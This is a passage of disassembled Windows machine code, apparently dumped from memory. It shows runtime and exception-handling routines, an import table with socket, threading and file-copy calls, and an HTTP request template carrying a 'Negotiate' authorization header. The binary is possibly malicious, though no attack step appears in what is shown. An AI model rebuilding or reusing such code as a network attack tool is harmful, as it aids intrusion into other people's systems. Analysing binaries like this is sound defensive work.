EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41AFF8 proc near ; CODE XREF: sub_4026F4+5Ep ; sub_40318D+159p jmp ds:dword_41C1B4 sub_41AFF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41AFFE proc near ; CODE XREF: sub_410F0C+23p ; sub_4111B0+13p jmp ds:dword_41C13C sub_41AFFE endp ; =============== S U B R O U T I N E ======================================= sub_41B004 proc near ; DATA XREF: seg001:off_41CC74o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41B0A7 test [esp+4+arg_0], 1 jz short loc_41B01A push esi call sub_4112BF pop ecx loc_41B01A: ; CODE XREF: sub_41B004+Dj mov eax, esi pop esi retn 4 sub_41B004 endp ; =============== S U B R O U T I N E ======================================= sub_41B020 proc near ; CODE XREF: sub_41ACFA+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_41CC74 push dword ptr [edi] call sub_410B60 inc eax push eax call sub_411605 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_41B04F push dword ptr [edi] push eax call sub_411B70 pop ecx pop ecx loc_41B04F: ; CODE XREF: sub_41B020+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_41B020 endp ; =============== S U B R O U T I N E ======================================= sub_41B05D proc near ; CODE XREF: sub_41ADE1+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_41CC74 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_41B09A push dword ptr [edi+4] call sub_410B60 inc eax push eax call sub_411605 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_41B0A0 push dword ptr [edi+4] push eax call sub_411B70 pop ecx pop ecx jmp short loc_41B0A0 ; --------------------------------------------------------------------------- loc_41B09A: ; CODE XREF: sub_41B05D+16j mov eax, [edi+4] mov [esi+4], eax loc_41B0A0: ; CODE XREF: sub_41B05D+2Ej ; sub_41B05D+3Bj mov eax, esi pop edi pop esi retn 4 sub_41B05D endp ; =============== S U B R O U T I N E ======================================= sub_41B0A7 proc near ; CODE XREF: sub_41AD88+2Bp ; sub_41AE3E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_41CC74 jz short locret_41B0BC push dword ptr [ecx+4] call sub_4112BF pop ecx locret_41B0BC: ; CODE XREF: sub_41B0A7+Aj retn sub_41B0A7 endp ; =============== S U B R O U T I N E ======================================= sub_41B0BD proc near ; DATA XREF: seg001:0041CC78o mov eax, [ecx+4] test eax, eax jnz short locret_41B0C9 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_41B0C9: ; CODE XREF: sub_41B0BD+5j retn sub_41B0BD endp ; =============== S U B R O U T I N E ======================================= sub_41B0CA proc near ; CODE XREF: seg000:0041B0E2p mov dword ptr [ecx], offset off_41CC94 mov ecx, [ecx+4] test ecx, ecx jz short locret_41B0DE push ecx call sub_410C83 pop ecx locret_41B0DE: ; CODE XREF: sub_41B0CA+Bj retn sub_41B0CA endp ; --------------------------------------------------------------------------- loc_41B0DF: ; DATA XREF: seg001:off_41CC94o push esi mov esi, ecx call sub_41B0CA test byte ptr [esp+8], 1 jz short loc_41B0F5 push esi call sub_4112BF pop ecx loc_41B0F5: ; CODE XREF: seg000:0041B0ECj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0FB proc near ; CODE XREF: sub_41ACA0+54p ; sub_41AD6B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_41CC98 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call ds:dword_41C16C ; RaiseException pop edi pop esi leave retn 8 sub_41B0FB endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41B138 proc near ; DATA XREF: seg001:0041CE64o ; FUNCTION CHUNK AT 00402D9C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_402D9C sub_41B138 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_41B156 mov ecx, [ebp+8] jmp loc_402D9C ; --------------------------------------------------------------------------- locret_41B156: ; CODE XREF: seg000:0041B148j retn ; --------------------------------------------------------------------------- loc_41B157: ; DATA XREF: sub_402930o mov eax, offset dword_41CE38 jmp loc_410F5B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_402D9C ; --------------------------------------------------------------------------- loc_41B16C: ; DATA XREF: seg001:0041CE94o lea ecx, [ebp-1Ch] jmp loc_402D9C ; --------------------------------------------------------------------------- loc_41B174: ; DATA XREF: sub_402AD2o mov eax, offset dword_41CE68 jmp loc_410F5B ; --------------------------------------------------------------------------- align 10h loc_41B180: ; DATA XREF: sub_40307Fo mov eax, offset dword_41CE98 jmp loc_410F5B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_402D9C ; --------------------------------------------------------------------------- loc_41B194: ; DATA XREF: sub_41ACA0o mov eax, offset dword_41CF70 jmp loc_410F5B ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] jmp sub_41B0A7 ; --------------------------------------------------------------------------- loc_41B1A8: ; DATA XREF: sub_41ACFAo mov eax, offset dword_41CF98 jmp loc_410F5B ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41B0A7 ; --------------------------------------------------------------------------- loc_41B1BC: ; DATA XREF: sub_41AD88o mov eax, offset dword_41CFE0 jmp loc_410F5B ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41B0A7 ; --------------------------------------------------------------------------- loc_41B1D0: ; DATA XREF: sub_41ADE1o mov eax, offset dword_41D008 jmp loc_410F5B ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41B0A7 ; --------------------------------------------------------------------------- loc_41B1E4: ; DATA XREF: sub_41AE3Eo mov eax, offset dword_41D030 jmp loc_410F5B ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-20h] jmp loc_402D9C ; --------------------------------------------------------------------------- loc_41B1F8: ; DATA XREF: sub_41AECCo mov eax, offset dword_41D098 jmp loc_410F5B ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41B0A7 ; --------------------------------------------------------------------------- loc_41B20C: ; DATA XREF: sub_41AF26o mov eax, offset dword_41D0C0 jmp loc_410F5B ; --------------------------------------------------------------------------- align 1000h seg000 ends ; Section 2. (virtual address 0001C000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 0001C000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg001 segment para public 'CODE' use32 assume cs:seg001 ;org 41C000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_41C000 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_411914+Dr dd 7C833478h dword_41C008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; seg000:0041A999r dword_41C00C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; seg000:0041A7F1r dd 7C832044h, 7C812641h, 7C81DC03h, 7C80BCCFh, 7C809E01h dword_41C024 dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; seg000:00418979r dword_41C028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h dword_41C03C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_41C040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; seg000:00417941r dword_41C044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW dd 7C80C058h dword_41C04C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; seg000:00401C13r ... dd 7C80A427h, 7C82FA46h dword_41C058 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40380D+6Er ... dd 7C80B4CFh, 7C83632Dh, 7C8361EEh dword_41C068 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; seg000:loc_405136r ... dword_41C06C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; seg000:00405108r ... dword_41C070 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_4047B6+B2r ... dd 7C810A77h dword_41C078 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_4047B6+25r ... dword_41C07C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_4089FD+290r ... dd 7C80EDD7h, 7C80E7ECh, 7C80E866h dword_41C08C dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_404134+5D7r dword_41C090 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_41C094 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_4165C4+84r ... dword_41C098 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_4169A2+4Fr dword_41C09C dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41C0A0 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_41C0A4 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41C0A8 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40550F+443r dword_41C0AC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_405D8E:loc_406224r ... dword_41C0B0 dd 3A7574h ; sub_414942+15r ... dword_41C0B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C82F7A0h dword_41C0BC dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_41C0C0 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh dword_41C0EC dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; seg000:0040F8C2r dd 7C8310F2h, 7C814EEAh dword_41C0F8 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_4089FD+16Fr ... dd 7C831EABh, 7C8309E1h, 7C809920h dword_41C108 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA dd 7C802520h, 7C80E93Fh, 7C81CE03h, 7C835E8Fh dword_41C11C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; seg000:00416DA1r ... dword_41C120 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4128E9+54r ... dd 7C8216A4h, 7C80DDF5h, 7C801E16h dword_41C130 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_41C134 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_41237F+AFr ... dword_41C138 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_41357B+2C4r ... dword_41C13C dd 7C937A40h ; resolved to->NTDLL.RtlUnwind dd 7C8350BFh, 7C80176Bh dword_41C148 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_413BAF+28r dd 7C801EEEh, 7C812F1Dh dword_41C154 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_41C158 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_41C15C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_41C160 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_41C164 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_413C60+51r dd 7C809E79h dword_41C16C dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_41B0FB+2Er dword_41C170 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeap dd 7C838DE8h dword_41C178 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; seg000:00416CE1r ... dd 7C812E76h, 7C809915h, 7C8127A7h dword_41C188 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter dd 7C81DF77h, 0 dword_41C194 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_40380D+8Er dword_41C198 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_403790+15r dword_41C19C dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_41C1A0 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_41C1A4 dd 71AB3E00h ; resolved to->WS2_32.binddword_41C1A8 dd 71AB88D3h ; resolved to->WS2_32.listendword_41C1AC dd 71AC1028h ; resolved to->WS2_32.acceptdword_41C1B0 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40318D+115r dword_41C1B4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_41C1B8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addrdword_41C1BC dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_403790+41r dword_41C1C0 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40318D+74r ... dword_41C1C4 dd 71AB406Ah ; resolved to->WS2_32.connectdword_41C1C8 dd 71AB615Ah ; resolved to->WS2_32.recvdword_41C1CC dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40318D+E4r ... dword_41C1D0 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_403790+68r ... align 8 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402AD2+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_41C218 dq 1.388888888888889e-2 ; DATA XREF: sub_4028E4+2Fr dbl_41C220 dq 1.666666666666667e-1 ; DATA XREF: sub_4028E4+15r dword_41C228 dd 0FFFFFFFFh ; sub_402DA4r ... align 10h dbl_41C230 dq 1.333333333333333 ; DATA XREF: sub_402930+79r dword_41C238 dd 0 ; sub_402E54+5Bo ... dword_41C23C dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dd 2 dup(0) byte_41C644 db 0 ; DATA XREF: sub_412C3C+4Ar align 2 dw 3F50h dbl_41C648 dq -3.0517578125e-5 ; DATA XREF: sub_40F6B3+1Er dbl_41C650 dq 1.0 ; DATA XREF: sub_410CB2+6Cr ; sub_410DFB+6Cr ... dword_41C658 dd 0FFFFFFFFh, 412ABFh, 412AD3hbyte_41C664 db 6 ; DATA XREF: sub_412C3C:loc_412C93r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: seg002:off_42E18Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: seg002:off_42E188o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: seg002:off_42E3B4o align 10h dbl_41C790 dq 0.0 ; DATA XREF: sub_4143EF+8Cr ; sub_4143EF+ACr ... dbl_41C798 dq 4.195835e6 ; DATA XREF: sub_414904+Fr dbl_41C7A0 dq 3.145727e6 ; DATA XREF: sub_414904+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_414942+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_414942o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_414A69+93o align 4 dword_41C7D8 dd 0FFFFFFFFh, 415154h, 41515Eh, 0dword_41C7E8 dd 0FFFFFFFFh, 0 dd offset loc_4152DA align 8 dd offset sub_4152B8 ; --------------------------------------------------------------------------- retn 4152h ; --------------------------------------------------------------------------- align 10h dword_41C800 dd 0FFFFFFFFh, 41550Ah, 41550Eh, 0dword_41C810 dd 0FFFFFFFFh, 41556Ch, 415575h, 0dword_41C820 dd 0FFFFFFFFh, 0 dd offset loc_41563D align 10h dd offset loc_415629 dd offset loc_41562D dword_41C838 dd 0FFFFFFFFh, 0 dd offset loc_415693 align 8 dd offset loc_41567F dd offset loc_415683 dword_41C850 dd 2 dup(0) ; seg000:0041811Do ... dword_41C858 dd 0FFFFFFFFh, 416CA4h, 416CA8h, 0FFFFFFFFh, 416D58h, 416D5Ch ; DATA XREF: seg000:00416B99o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_42E7FCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_417C59+119o align 10h asc_41CB20 db 0Ah ; DATA XREF: sub_417C59+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_417C59+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_417C59+BFo aProgramNameUnk db '<program name unknown>',0 align 10h dword_41CB60 dd 0FFFFFFFFh, 4181DDh, 4181E1haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: seg000:00418B8Co align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4195E1+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4195E1+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4195E1+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_419DB1:loc_419EA6o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_419DB1+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_419DB1+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_419DB1+ADo align 10h dword_41CC00 dd 0FFFFFFFFh, 41A8EFh, 41A8F3h, 0FFFFFFFFh, 41A95Eh, 41A962h ; DATA XREF: seg000:0041A73Do dd 41CD20h off_41CC1C dd offset loc_41AE98 ; DATA XREF: sub_41ACA0+4Do ; sub_41AEB4+Co dd offset sub_41AD5E dd offset sub_41AE7B aStringTooLong db 'string too long',0 ; DATA XREF: sub_41ACA0+1Eo dd offset dword_41CD58 off_41CC3C dd offset loc_41ADC5 ; DATA XREF: sub_41ACFA+4Eo ; sub_41AD88+11o ... dd offset sub_41AD5E dd offset sub_41AD6B dd offset dword_41CDA8 off_41CC4C dd offset loc_41AF80 ; DATA XREF: sub_41AECC+4Do ; sub_41AF9C+Co dd offset sub_41AD5E dd offset sub_41AF63 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41AECC+1Eo dd offset dword_41CDD8 off_41CC74 dd offset sub_41B004 ; DATA XREF: sub_41B020+8o ; sub_41B05D+8o ... dd offset sub_41B0BD aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_41B0BD+7o align 10h dd offset dword_41CE20 off_41CC94 dd offset loc_41B0DF ; DATA XREF: sub_41B0CAo ; seg002:off_42EF20o ... dword_41CC98 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_41CCB8 dd offset off_42EF20 ; DATA XREF: seg001:0041CD08o ; seg001:0041CD3Co ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_41CCD0 dd offset off_42EF38 ; DATA XREF: seg001:0041CD04o ; seg001:0041CD38o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_41CCE8 dd offset off_42EF58 ; DATA XREF: seg001:0041CD00o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41CCE8 dd offset off_41CCD0 dd offset off_41CCB8 dword_41CD0C dd 3 dup(0) dd 3, 41CD00h, 3 dup(0) dd offset off_42EF58 dd offset dword_41CD0C+4 align 8 dd offset off_41CCD0 dd offset off_41CCB8 dword_41CD40 dd 4 dup(0) dd 2, 41CD38h dword_41CD58 dd 3 dup(0) dd offset off_42EF38 dd offset dword_41CD40+8 align 10h off_41CD70 dd offset off_42EF78 ; DATA XREF: seg001:0041CD88o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41CD70 dd offset off_41CCD0 dd offset off_41CCB8 dd 0 db 0 ; DATA XREF: seg001:0041CDB8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 41CD88h dword_41CDA8 dd 3 dup(0) dd offset off_42EF78 dd offset unk_41CD98 dd offset off_41CCB8 dword_41CDC0 dd 4 dup(0) dd 1, 41CDBCh dword_41CDD8 dd 3 dup(0) dd offset off_42EF20 dd offset dword_41CDC0+8 align 10h off_41CDF0 dd offset off_42EF98 ; DATA XREF: seg001:0041CE08o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_41CDF0 dword_41CE0C dd 3 dup(0) dd 1, 41CE08h dword_41CE20 dd 3 dup(0) dd offset off_42EF98 dd offset dword_41CE0C+4 align 8 dword_41CE38 dd 19930520h, 2, 41CE58h, 5 dup(0) dd 0FFFFFFFFh, 41B140h, 0 dd offset sub_41B138 dword_41CE68 dd 19930520h, 2, 41CE88h, 5 dup(0) dd 0FFFFFFFFh, 41B164h, 0 dd offset loc_41B16C dword_41CE98 dd 19930520h, 2, 41CEB8h, 1, 41CEC8h, 3 dup(0) ; DATA XREF: seg000:loc_41B180o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 41CEE0h, 4 dup(0) dd offset loc_4030BE dd 0 dd offset off_42EF20 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 41B05Dh, 2 dup(0) dd offset off_42EF38 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41ADE1h, 2 dup(0) dd offset off_42EF58 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41AEB4h, 0 dword_41CF50 dd 3, 41CF30h, 41CF10h, 41CEF0hdword_41CF60 dd 0 ; sub_41AE7B+12o dd offset sub_41AE3E dd 0 dd offset dword_41CF50 dword_41CF70 dd 19930520h, 1, 41CF90h, 5 